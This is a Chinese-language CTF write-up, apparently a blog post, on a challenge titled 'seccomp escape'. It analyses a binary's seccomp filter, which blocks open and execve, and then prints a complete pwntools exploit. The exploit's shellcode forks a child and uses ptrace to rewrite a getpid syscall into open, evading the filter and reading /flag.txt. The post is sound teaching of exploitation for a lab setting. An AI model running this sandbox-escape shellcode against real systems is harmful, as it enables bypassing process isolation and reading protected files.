CTF-PWN

seccomp escape

2020-06-08  本文已影响0人  Nevv

seccomp escape

题目描述
flag in /flag.txt

ubuntu16.04 kernel 4.4.0-91-generic
题目分析
[*] '/home/nevv/Desktop/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

之前没接触过这类题目,因此先大概了解下相关基础知识:

seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

prctl 函数

先来看下函数的原型:

#include <sys/prctl.h> 
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5); 

这里有5个参数,重点看option就知道它是想干嘛,这里主要关注2点:

PR_SET_NO_NEW_PRIVS(38)

PR_SET_SECCOMP(22)

我们通俗易懂地理解就是,prctl(38, 1LL, 0LL, 0LL, 0LL)表示禁用系统调用,也就是system和onegadget都没了,还会教子进程也这么干;而prctl(22,2)表示设置沙箱规则,从而可以实现改变函数的系统调用(通行或者禁止),这次重点研究沙箱规则,设置 seccomp ,其实也就是设置沙箱规则,这个 option 有两个子参数

1、SECCOMP_MODE*STRICT(1):允许线程进行的唯一系统调用是read(2),write(2),*exit(2)(但不是exit_group(2))和sigreturn(2)。

2、SECCOMP_MODE_FILTER(2) (since Linux 3.5):允许的系统调用由指向arg3中传递的Berkeley Packet Filter的指针定义。 这个参数是一个指向struct sock_fprog的指针; 它可以设计为过滤任意系统调用和系统调用参数

源码:

struct sock_filter { 
  /* Filter block */ __u16 code; 
  /* Actual filter code */ __u8 jt; 
  /* Jump true */ __u8 jf; 
  /* Jump false */ __u32 k; 
  /* Generic multiuse field */ 
}; 
struct sock_fprog { 
  /* Required for SO_ATTACH_FILTER. */ unsigned short len; 
  /* Number of filter blocks */ 
  struct sock_filter *filter; };
seccomp-tools
sudo gem install seccomp-tools
nevv@ubuntu:~/Desktop/seccomp-tools-master/bin$ ./seccomp-tools dump ../../pwn1
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011 // line11
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x07 0x00 0x40000000  if (A >= 0x40000000) goto 0011
 0004: 0x15 0x06 0x00 0x00000002  if (A == open) goto 0011
 0005: 0x15 0x05 0x00 0x00000101  if (A == openat) goto 0011
 0006: 0x15 0x04 0x00 0x00000055  if (A == creat) goto 0011
 0007: 0x15 0x03 0x00 0x0000009d  if (A == prctl) goto 0011
 0008: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0011
 0009: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00051234  return ERRNO(4660)

没有禁用ptrace

漏洞分析

程序执行流程为:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  int v4; // esi
  char *v5; // rsi
  signed __int64 v6; // rdi
  unsigned int i; // [rsp+Ch] [rbp-A4h]
  signed int v9; // [rsp+10h] [rbp-A0h]
  signed int v10; // [rsp+14h] [rbp-9Ch]
  int v11; // [rsp+1Ch] [rbp-94h]
  char *v12; // [rsp+20h] [rbp-90h]
  __int16 v13; // [rsp+30h] [rbp-80h]
  __int16 *v14; // [rsp+38h] [rbp-78h]
  __int16 v15; // [rsp+40h] [rbp-70h]
  char v16; // [rsp+42h] [rbp-6Eh]
  char v17; // [rsp+43h] [rbp-6Dh]
  int v18; // [rsp+44h] [rbp-6Ch]
  __int16 v19; // [rsp+48h] [rbp-68h]
  char v20; // [rsp+4Ah] [rbp-66h]
  char v21; // [rsp+4Bh] [rbp-65h]
  int v22; // [rsp+4Ch] [rbp-64h]
  __int16 v23; // [rsp+50h] [rbp-60h]
  char v24; // [rsp+52h] [rbp-5Eh]
  char v25; // [rsp+53h] [rbp-5Dh]
  int v26; // [rsp+54h] [rbp-5Ch]
  __int16 v27; // [rsp+58h] [rbp-58h]
  char v28; // [rsp+5Ah] [rbp-56h]
  char v29; // [rsp+5Bh] [rbp-55h]
  int v30; // [rsp+5Ch] [rbp-54h]
  __int16 v31; // [rsp+90h] [rbp-20h]
  char v32; // [rsp+92h] [rbp-1Eh]
  char v33; // [rsp+93h] [rbp-1Dh]
  int v34; // [rsp+94h] [rbp-1Ch]
  __int16 v35; // [rsp+98h] [rbp-18h]
  char v36; // [rsp+9Ah] [rbp-16h]
  char v37; // [rsp+9Bh] [rbp-15h]
  int v38; // [rsp+9Ch] [rbp-14h]
  unsigned __int64 v39; // [rsp+A8h] [rbp-8h]

  v39 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
    __assert_fail("prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == 0", "seccomp_ptrace_escape.c", 0x1Fu, "main");
  v15 = 32;
  v16 = 0;
  v17 = 0;
  v18 = 4;
  v19 = 21;
  v20 = 0;
  v21 = 9;
  v22 = -1073741762;
  v23 = 32;
  v24 = 0;
  v25 = 0;
  v26 = 0;
  v27 = 53;
  v28 = 7;
  v29 = 0;
  v30 = 0x40000000;
  for ( i = 0; i <= 5; ++i )
  {
    v3 = i + 4;
    v4 = qword_601080[i];
    *(&v15 + 4 * (signed int)(i + 4)) = 21;
    *(&v16 + 8 * v3) = 6 - i;
    *(&v17 + 8 * v3) = 0;
    *(&v18 + 2 * (signed int)(i + 4)) = v4;
  }
  v31 = 6;
  v32 = 0;
  v33 = 0;
  v34 = 2147418112;
  v35 = 6;
  v36 = 0;
  v37 = 0;
  v38 = 332340;
  v13 = 12;
  v14 = &v15;
  if ( prctl(22, 2LL, &v13, 0LL, 0LL) )
    __assert_fail(
      "prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &fprog, 0, 0) == 0",
      "seccomp_ptrace_escape.c",
      0x39u,
      "main");
  v5 = (char *)4096;
  v6 = 1191936LL;
  v12 = (char *)mmap((void *)0x123000, 0x1000uLL, 7, 34, -1, 0LL);
  if ( v12 == (char *)-1LL )
  {
    puts("mmap failed");
    exit(0);
  }
  v9 = 0;
  v10 = 4096;
  while ( v9 <= 4095 )
  {
    v5 = &v12[v9];
    v6 = 0LL;
    v11 = read(0, v5, v10);
    if ( v11 <= 0 )
      exit(0);
    v9 += v11;
    v10 -= v11;
  }
  ((void (__fastcall *)(signed __int64, char *))v12)(v6, v5);
  return 0LL;
}
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
if (regs.orig_rax == SYS_getpid) {
    regs.orig_rax = regs.rdi;
    regs.rdi = regs.rsi;
    regs.rsi = regs.rdx;
    regs.rdx = regs.r10;
    regs.r10 = regs.r8;
    regs.r8 = regs.r9;
    regs.r9 = 0;
    ptrace(PTRACE_SETREGS, pid, NULL, &regs);
}
user_regs_struct结构
struct user_regs_struct
{
  unsigned long r15;
  unsigned long r14;
  unsigned long r13;
  unsigned long r12;
  unsigned long rbp;
  unsigned long rbx;
  unsigned long r11;
  unsigned long r10;
  unsigned long r9;
  unsigned long r8;
  unsigned long rax;
  unsigned long rcx;
  unsigned long rdx;
  unsigned long rsi;
  unsigned long rdi;
  unsigned long orig_rax;
  unsigned long rip;
  unsigned long cs;
  unsigned long eflags;
  unsigned long rsp;
  unsigned long ss;
  unsigned long fs_base;
  unsigned long gs_base;
  unsigned long ds;
  unsigned long es;
  unsigned long fs;
  unsigned long gs;
};
exp
#coding:utf-8
#!/usr/bin/env python

from pwn import *
import pwnlib.shellcraft as sc
context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn1')
# p = remote("118.89.247.212",8383)
clone = asm(sc.syscall('SYS_fork')) + asm('test rax, rax')

# clone = asm('''
# /* clone and branch */
# mov rdi, 0x4007C6
# mov rsi, 0
# mov rdx, 0
# mov r10, rsp
# add r10, 0x500
# mov qword ptr [r10], 0
# mov rax, 56

# syscall
# test rax, rax
# ''')


debugger = asm('''
/* time delay */
mov rdx, 0x30000000
dec rdx
test rdx, rdx
jnz $ - 6
push rax

/* waitpid(childpid, NULL, 0) */
mov rdi, rax
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall

/* ptrace(PTRACE_SYSCALL, childpid, NULL, NULL) */
mov rdi, 0x18
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 0x65
syscall

/* waitpid(childpid, NULL, 0) */
mov rdi, [rsp]
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall

/* ptrace(PTRACE_GETREGS, childpid, NULL, &regs */
mov rdi, 0xc
mov rsi, [rsp]
mov rdx, 0x0
mov r10, rsp
add r10, 0x400
mov rcx, r10
/* mov rcx, 0x123200 */
mov rax, 0x65
syscall

/* ptrace(PTRACE_SETREGS, childpid, NULL, &regs) */
mov rdi, 0xd
mov rsi, [rsp]
mov rdx, 0
mov r10, rsp
add r10, 0x400
mov r9, r10
add r9, 0x78
/*
mov r10, 0x123200
mov r9, r10
add r9, 0x78
*/
mov qword ptr [r9], 2
mov rax, 0x65
syscall

/* ptrace(PTRACE_DETACH, childpid, NULL, NULL) */
mov rdi, 0x11
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 101
syscall

mov rax, 0x3c
syscall
''')

debuggee = asm('''
/* ptrace(PTRACE_TRACEME, 0, NULL, NULL) */
mov rdi, 0
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 101
syscall

/* syscall(SYS_gettid) */
mov rax, 0x27/*0xba*/
syscall

/* syscall(SYS_tkill, pid, SIGSTOP) */
mov rdi, rax
mov rsi, 0x13
mov rax, 0x3e/*0xc8*/
syscall
''' + shellcraft.pushstr('./flag.txt') + '''
/* open(file='rsp', oflag=0, mode=0) */
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
xor rax, rax
mov rax, 39/*getpid*/
syscall
'''
 +
shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100))
    
stage3  = ""    
stage3 += clone
stage3 += asm('jz $+{}'.format(len(debugger)+6))
stage3 += debugger
stage3 += debuggee
# gdb.attach(p)
p.sendline(stage3+"\x00"*(4096-len(stage3)))
# p.recv()
p.interactive()

注意这里在内核版本4.8之后修复了这个问题,因此调试的时候需要切换到4.4版本进行调试

上一篇下一篇

猜你喜欢

热点阅读